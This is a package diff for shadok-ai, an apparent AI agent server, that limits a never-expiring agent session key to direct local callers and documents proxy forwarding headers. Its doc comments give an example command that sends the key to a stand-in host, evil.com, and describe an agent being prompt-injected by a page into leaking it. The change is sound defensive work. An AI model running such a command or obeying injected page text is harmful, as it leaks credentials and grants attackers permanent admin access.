shadok-ai 0.16.26 → 0.16.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -228,7 +228,9 @@ Enter to skip; you can add it later from the web UI).
228
228
  remove it. On send, an image shows **inline in your own message bubble**;
229
229
  under the hood the agent still receives it as an `[Attached …: path]` line,
230
230
  the same format Telegram uses, so nothing about how the agent reads it
231
- changes. A message can be attachments alone, with no words. The files are
231
+ changes. If the agent is mirrored into Telegram, the file is **posted into its
232
+ topic too** — a photo as a photo, anything else as a document — so whoever is
233
+ reading there sees what you sent instead of a path. A message can be attachments alone, with no words. The files are
232
234
  served back to the browser by `GET /media/<name>` from the same directory
233
235
  Telegram attachments land in.
234
236
  - **Files an agent hands you** — when an agent's result IS a file (a report, an
@@ -518,10 +520,20 @@ location / {
518
520
  proxy_set_header Upgrade $http_upgrade;
519
521
  proxy_set_header Connection "upgrade";
520
522
  proxy_set_header Host $host;
523
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # see below
521
524
  client_max_body_size 50m; # match the server's paste limit
522
525
  }
523
526
  ```
524
527
 
528
+ **Forward the client address.** An agent authenticates to its own server with a
529
+ session key that never expires, so the server accepts that key **only from this
530
+ machine, directly** — never from the network, where a key leaked by a
531
+ prompt-injected agent would otherwise be permanent admin. A proxy on the same
532
+ host connects from `127.0.0.1` too; the `X-Forwarded-For` line is what tells the
533
+ server the request was relayed. Without it, requests through a same-host proxy
534
+ look local. (A proxy on another host, or nginx in front of a Docker container,
535
+ is already seen as the network.)
536
+
525
537
  The client picks `wss://` on its own when the page is HTTPS, so there is nothing
526
538
  to configure on that side.
527
539
 
package/dist/net.d.ts CHANGED
@@ -69,3 +69,23 @@ export declare function originAllowed(origin: string | undefined, host: string |
69
69
  * accident and takes the capability off the documented surface.
70
70
  */
71
71
  export declare function browserOrigin(origin: string | undefined, host: string | undefined, extraAllowed?: string[]): boolean;
72
+ /**
73
+ * Is this request from a process on THIS machine, reaching us directly?
74
+ *
75
+ * The gate on an agent's session key (`x-shadok-session-key`). That key never
76
+ * expires — by design, invariant 33 — and it is worth the bootstrap admin, so
77
+ * accepted from anywhere it turned one exfiltrated environment variable (an
78
+ * agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
79
+ * into permanent remote admin on every instance reachable from the network,
80
+ * two-factor or not. Agents only ever call their own server on loopback, so
81
+ * that is the only place the key needs to work.
82
+ *
83
+ * Loopback is not enough on its own: a reverse proxy on the same host (nginx in
84
+ * front of a non-Docker install) also connects from 127.0.0.1, on behalf of
85
+ * the whole internet. Such a proxy announces itself with a forwarding header,
86
+ * which a direct local call never sends — so the presence of one means "relayed",
87
+ * whatever the socket says. A proxy configured to send none cannot be told apart
88
+ * from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
89
+ * Pure — unit tested.
90
+ */
91
+ export declare function isLocalCaller(remoteAddress: string | undefined, headers: Record<string, unknown>): boolean;
package/dist/net.js CHANGED
@@ -109,4 +109,32 @@ export function browserOrigin(origin, host, extraAllowed = []) {
109
109
  return false;
110
110
  return originAllowed(origin, host, extraAllowed);
111
111
  }
112
+ /**
113
+ * Is this request from a process on THIS machine, reaching us directly?
114
+ *
115
+ * The gate on an agent's session key (`x-shadok-session-key`). That key never
116
+ * expires — by design, invariant 33 — and it is worth the bootstrap admin, so
117
+ * accepted from anywhere it turned one exfiltrated environment variable (an
118
+ * agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
119
+ * into permanent remote admin on every instance reachable from the network,
120
+ * two-factor or not. Agents only ever call their own server on loopback, so
121
+ * that is the only place the key needs to work.
122
+ *
123
+ * Loopback is not enough on its own: a reverse proxy on the same host (nginx in
124
+ * front of a non-Docker install) also connects from 127.0.0.1, on behalf of
125
+ * the whole internet. Such a proxy announces itself with a forwarding header,
126
+ * which a direct local call never sends — so the presence of one means "relayed",
127
+ * whatever the socket says. A proxy configured to send none cannot be told apart
128
+ * from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
129
+ * Pure — unit tested.
130
+ */
131
+ export function isLocalCaller(remoteAddress, headers) {
132
+ if (!remoteAddress)
133
+ return false;
134
+ const a = remoteAddress.toLowerCase();
135
+ const loopback = a === "::1" || a.startsWith("127.") || a.startsWith("::ffff:127.");
136
+ if (!loopback)
137
+ return false;
138
+ return !["forwarded", "x-forwarded-for", "x-real-ip", "x-forwarded-host"].some((h) => headers[h] !== undefined);
139
+ }
112
140
  //# sourceMappingURL=net.js.map
package/dist/net.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAEH,6EAA6E;AAC7E,MAAM,CAAC,MAAM,YAAY,GAAG,WAAW,CAAC;AAExC;;;;;GAKG;AACH,MAAM,UAAU,cAAc,CAAC,IAAY;IACzC,oDAAoD;IACpD,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAC1E,OAAO,CAAC,KAAK,WAAW,IAAI,CAAC,KAAK,KAAK,IAAI,CAAC,KAAK,WAAW,CAAC;AAC/D,CAAC;AAED,iEAAiE;AACjE,MAAM,UAAU,WAAW,CAAC,GAAG,GAAsB,OAAO,CAAC,GAAG;IAC9D,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,WAAW,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;IACzC,OAAO,CAAC,IAAI,YAAY,CAAC;AAC3B,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,IAAY,EAAE,WAAoB;IAC5D,IAAI,cAAc,CAAC,IAAI,CAAC,IAAI,WAAW;QAAE,OAAO,IAAI,CAAC;IACrD,OAAO,CACL,kCAAkC,IAAI,+DAA+D;QACrG,iFAAiF;QACjF,gGAAgG;QAChG,4FAA4F;QAC5F,0GAA0G,CAC3G,CAAC;AACJ,CAAC;AAED,sEAAsE;AACtE,MAAM,UAAU,YAAY,CAAC,GAAuB;IAClD,OAAO,CAAC,GAAG,IAAI,EAAE,CAAC;SACf,KAAK,CAAC,GAAG,CAAC;SACV,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;SACtD,MAAM,CAAC,OAAO,CAAC,CAAC;AACrB,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM;QAAE,OAAO,IAAI,CAAC,CAAC,qBAAqB;IAC/C,MAAM,CAAC,GAAG,MAAM,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;IAC1D,IAAI,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAC1C,IAAI,CAAC,IAAI;QAAE,OAAO,KAAK,CAAC;IACxB,IAAI,CAAC;QACH,yEAAyE;QACzE,oEAAoE;QACpE,OAAO,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;IACvD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE;QAAE,OAAO,KAAK,CAAC;IAC5C,OAAO,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,CAAC;AACnD,CAAC"}
1
+ {"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"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"}
package/dist/server.js CHANGED
@@ -64,7 +64,7 @@ import { resolveChannel } from "./update-channel.js";
64
64
  import { isNewer } from "./version.js";
65
65
  import { RELOAD_EXIT_CODE } from "./supervisor.js";
66
66
  import { acquireInstanceLock, releaseInstanceLock } from "./lock.js";
67
- import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, } from "./net.js";
67
+ import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, isLocalCaller, } from "./net.js";
68
68
  import { pctFromUsage, windowForModel } from "./context.js";
69
69
  import { BACKEND_PRESETS, backendEnv, backendFor, backendSaveVerdict, instanceEnv, joinUrl, looksLikeMessage, parseModelList, testFailure, testRequestBody, } from "./backend.js";
70
70
  import { availableModels, MODEL_FAMILIES } from "./claude-models.js";
@@ -673,9 +673,10 @@ function currentAccount(req) {
673
673
  // It grants exactly what the cookie already did, no more: `SHADOK_AUTH` IS
674
674
  // the bootstrap admin's cookie, so this is the same authority reached by a
675
675
  // credential that cannot age out. `sessionForKey` requires the session to be
676
- // live, so the key dies with the agent.
676
+ // live, so the key dies with the agent. And it only counts from THIS
677
+ // machine (`localSessionForKey`): from the network it is ignored.
677
678
  const skey = req.headers["x-shadok-session-key"];
678
- if (typeof skey === "string" && skey && sessionForKey(skey))
679
+ if (typeof skey === "string" && skey && localSessionForKey(req, skey))
679
680
  return { name: BOOTSTRAP_ADMIN, role: "admin" };
680
681
  // A MEMBER-scope peer (an invited agent from another instance) authenticates
681
682
  // as a web MEMBER: everything a person you invite can do — see/drive EVERY
@@ -929,21 +930,16 @@ function sessionKeyFor(id) {
929
930
  return signSessionKey(id, signingSecret());
930
931
  }
931
932
  /**
932
- * The session a key attests to — while that agent still EXISTS.
933
- *
934
- * A derived key stays verifiable forever, so something has to bound it; that is
935
- * what the Map's `delete` on teardown used to do. The bound is deliberately the
936
- * CHANNEL and not the `sessions` map, and the difference is not academic: after
937
- * a restart the server does not re-adopt a web session until a client opens it
938
- * (`reconcileOnBoot` reattaches Telegram bridges, not sessions), so a tmux agent
939
- * can be running, executing tools, and absent from `sessions` for hours.
940
- * Measured: pane alive, `/live` empty, key refused — which would have rebuilt
941
- * the very cliff this change removes, one restart wide instead of a week.
942
- *
943
- * The channel list is on disk, survives the restart, and loses the entry when
944
- * the agent is closed — which is the moment the key should stop working.
945
- * The map is still consulted first: it costs nothing and spares the file read.
933
+ * `sessionForKey`, but only for a caller on THIS machine reaching us directly
934
+ * (`isLocalCaller`): the key never expires and is worth the bootstrap admin,
935
+ * so an exfiltrated one must buy nothing from the network. Every route that
936
+ * accepts a session key goes through here — never `sessionForKey` alone.
946
937
  */
938
+ function localSessionForKey(req, key) {
939
+ if (!key || !isLocalCaller(req.socket?.remoteAddress, req.headers))
940
+ return null;
941
+ return sessionForKey(key);
942
+ }
947
943
  function sessionForKey(key) {
948
944
  const id = readSessionKey(key, signingSecret());
949
945
  if (!id)
@@ -965,7 +961,7 @@ function callerOf(req) {
965
961
  const h = req.headers["x-shadok-session-key"];
966
962
  const fromBody = req.body?.key;
967
963
  const key = typeof h === "string" && h ? h : typeof fromBody === "string" ? fromBody : "";
968
- const id = key ? sessionForKey(key) : null;
964
+ const id = localSessionForKey(req, key);
969
965
  if (!id)
970
966
  return { id: null, profile: null };
971
967
  const profile = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
@@ -2571,7 +2567,7 @@ app.put("/profiles", (req, res) => {
2571
2567
  app.put("/profiles/prompt", (req, res) => {
2572
2568
  const b = req.body ?? {};
2573
2569
  const key = typeof b.key === "string" ? b.key : "";
2574
- const id = key ? sessionForKey(key) : null;
2570
+ const id = localSessionForKey(req, key);
2575
2571
  if (!id)
2576
2572
  return res.status(403).json({ error: "unknown or missing session key" });
2577
2573
  const caller = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
@@ -2647,7 +2643,7 @@ app.put("/profiles/secret", (req, res) => {
2647
2643
  // respawn — restartSession tears down the very process that made this call.
2648
2644
  app.post("/reload", (req, res) => {
2649
2645
  const key = typeof req.body?.key === "string" ? req.body.key : "";
2650
- const id = key ? sessionForKey(key) : null;
2646
+ const id = localSessionForKey(req, key);
2651
2647
  if (!id)
2652
2648
  return res.status(403).json({ error: "unknown or missing session key" });
2653
2649
  const s = sessions.get(id);
@@ -2960,7 +2956,7 @@ app.post("/restart-all", (req, res) => {
2960
2956
  */
2961
2957
  app.post("/files", (req, res) => {
2962
2958
  const key = String(req.headers["x-shadok-session-key"] ?? "");
2963
- const id = key ? sessionForKey(key) : null;
2959
+ const id = localSessionForKey(req, key);
2964
2960
  if (!id)
2965
2961
  return res.status(403).json({ error: "unknown or missing session key" });
2966
2962
  const body = req.body ?? {};